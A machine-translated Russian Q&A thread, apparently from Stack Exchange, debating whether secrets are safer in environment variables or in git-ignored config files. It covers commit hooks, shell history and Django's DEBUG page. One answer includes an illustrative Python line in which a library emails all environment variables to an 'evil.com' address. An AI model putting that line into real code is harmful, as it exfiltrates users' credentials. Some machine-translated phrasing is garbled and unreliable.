Насколько безопасно хранить пароли в виде переменных среды (а не в виде обычного текста) в файлах конфигурации?

Я работаю над несколькими приложениями на rails, django (и немного на php), и одна из вещей, которые я начал делать в некоторых из них, - это хранение базы данных и других паролей как переменных среды, а не простого текста в определенных файлах конфигурации ( или в settings.py для приложений django).

Обсуждая это с одним из моих сотрудников, он предположил, что это плохая практика - возможно, это не так безопасно, как может показаться на первый взгляд.

Итак, я хотел бы знать - это безопасная практика? Безопаснее ли хранить пароли в виде простого текста в этих файлах (конечно, не оставляя эти файлы в общедоступных репозиториях и т. Д.)?

На более теоретическом уровне я обычно думаю об уровнях безопасности следующим образом (в порядке увеличения силы):

• Никакой безопасности. Простой текст. Любой, кто знает, где искать, может получить доступ к данным.
• Безопасность путем обфускации. Вы храните данные (открытый текст) в сложном месте, например, в переменной среды или в файле, который должен выглядеть как файл конфигурации. В конце концов злоумышленник поймет, что происходит, или наткнется на это.
• Безопасность обеспечивается шифрованием, которое легко взломать (подумайте о шифре Цезаря!).
• Безопасность обеспечивается шифрованием, которое можно взломать с некоторым усилием.
• Безопасность обеспечивается шифрованием, которое невозможно взломать на текущем оборудовании.
• Самая безопасная система - это та, которую никто не может использовать! :)

Переменные среды более безопасны, чем файлы с открытым текстом, потому что они изменчивы / одноразовые, а не сохраняются; то есть, если вы устанавливаете только локальную переменную среды, например «set pwd = something», а затем запускаете сценарий с тем, что выходит из командной оболочки в конце сценария, то эта переменная больше не существует. Ваш случай относится к первым двум, что, я бы сказал, довольно небезопасно. Если бы вы собирались это сделать, я бы не рекомендовал развертывание за пределами вашей непосредственной интрасети / домашней сети, и то только для целей тестирования.

Как упоминалось ранее, оба метода не обеспечивают никакого дополнительного уровня «безопасности» после взлома вашей системы. Я считаю, что одной из самых веских причин в пользу переменных среды является контроль версий. : я видел слишком много конфигураций баз данных и т. Д., Случайно сохраненных в системе контроля версий, такой как GIT, чтобы любой другой разработчик мог их увидеть (и упс! Это случилось с в том числе я ...).

Отсутствие хранения ваших паролей в файлах делает невозможным их сохранение в системе контроля версий.

Каждый раз, когда вам нужно сохранить пароль, это небезопасно. Период. Невозможно надежно сохранить незашифрованный пароль. Теперь, возможно, спорный вопрос, какая из переменных окружения или конфигурационных файлов более "безопасна". ИМХО, если ваша система скомпрометирована, неважно, где она хранится, старательный хакер может ее отследить.

Извините, у меня не было достаточно комментариев для комментариев, но я также хотел добавить, что если вы не будете осторожны, ваша оболочка также может записать этот пароль в своей истории команд. Так что запуск чего-то вроде $ pwd=mypassword my_progручного управления не так эфемерен, как вы могли надеяться.

Я думаю, что по возможности вы должны хранить свои учетные данные в файле с gitignored, а не как переменные среды.

Одна из вещей, которую следует учитывать при хранении учетных данных в переменных ENV (среды) по сравнению с файлом, заключается в том, что переменные ENV могут быть очень легко проверены любой библиотекой или зависимостью, которую вы используете.

Это может быть сделано злонамеренно или нет. Например, автор библиотеки может отправлять трассировки стека плюс переменные ENV себе по электронной почте для отладки (не лучшая практика, но это возможно).

Если ваши учетные данные находятся в файле, разобраться в них намного сложнее.

В частности, подумайте о npm в узле. Чтобы npm посмотрел на ваши учетные данные, если они находятся в ENV, достаточно простоprocess.ENV . С другой стороны, если они находятся в файле, это намного сложнее.

Контролируется ли ваш файл учетных данных версией или нет - это отдельный вопрос. Отсутствие контроля версий вашего файла учетных данных делает его доступным меньшему количеству людей. Всем разработчикам нет необходимости знать производственные учетные данные. Поскольку это соответствует принципу наименьших привилегий, я бы посоветовал git игнорировать ваш файл учетных данных.

Это зависит от вашей модели угроз.

Вы пытаетесь помешать вашим пользователям разбрасывать пароли по всей их файловой системе, где они могут быть забыты или неправильно обработаны? Если да, то да, потому что переменные среды менее постоянны, чем файлы.

Вы пытаетесь защитить себя от чего-то вредоносного, которое напрямую нацелено на вашу программу? Если да, то нет, потому что переменные среды не имеют такого же уровня контроля доступа, как файлы.

Лично я считаю, что нерадивые пользователи встречаются чаще, чем мотивированные противники, поэтому я бы выбрал подход с использованием переменных среды.

AFAICT, есть две причины, по которым люди рекомендуют хранить секреты в переменных среды:

1. Слишком легко случайно зафиксировать секретные плоские файлы в репо. (А если это публичное репо, вы тост.)
2. Это предотвращает беспорядок в паролях, то есть наличие одного и того же ключа во многих различных файлах каталога проекта само по себе представляет угрозу безопасности, поскольку разработчики в конечном итоге потеряют информацию о том, где находятся секреты.

Эти две проблемы можно решить лучше. Первое должно быть решено с помощью ловушки git commit, которая проверяет вещи, похожие на пароли (например, gitleaks ). Я бы хотел, чтобы Линус встроил такой инструмент в исходный код библиотеки git, но, увы, этого не произошло. (Излишне говорить, что секретные файлы всегда следует добавлять .gitignore, но вам понадобится ловушка на случай, если кто-то забудет это сделать.)

Последнее можно решить, имея глобальный файл секретов компании, который в идеале хранится на общем диске, доступном только для чтения. Итак, в Python у вас может быть что-то вродеfrom company_secrets import * .

Что еще более важно, как указывали другие, слишком легко взломать секреты, хранящиеся в переменных среды. Например, в Python автор библиотеки может вставитьsend_email(address="evil.person@evil.com", text=json.dumps(os.environ)) а затем вы выпустите тост за выполнение этого кода. Взломать гораздо сложнее, если в вашей системе есть файл с именем~/secret_company_stuff/.my_very_secret_company_stuff .

Только для пользователей Django:
Django (в режиме DEBUG) показывает исходное значение переменной среды в браузере, если есть исключение (в режиме DEBUG). Это кажется очень небезопасным, если, например, разработчик случайно запускает рабочую среду DEBUG=True. В отличие от этого , Django ДЕЛАЕТ запутать настройки пароля переменных путем поиска строк API, TOKEN, KEY, SECRET, PASSили SIGNATUREв фреймворка settings.pyимен переменных файла.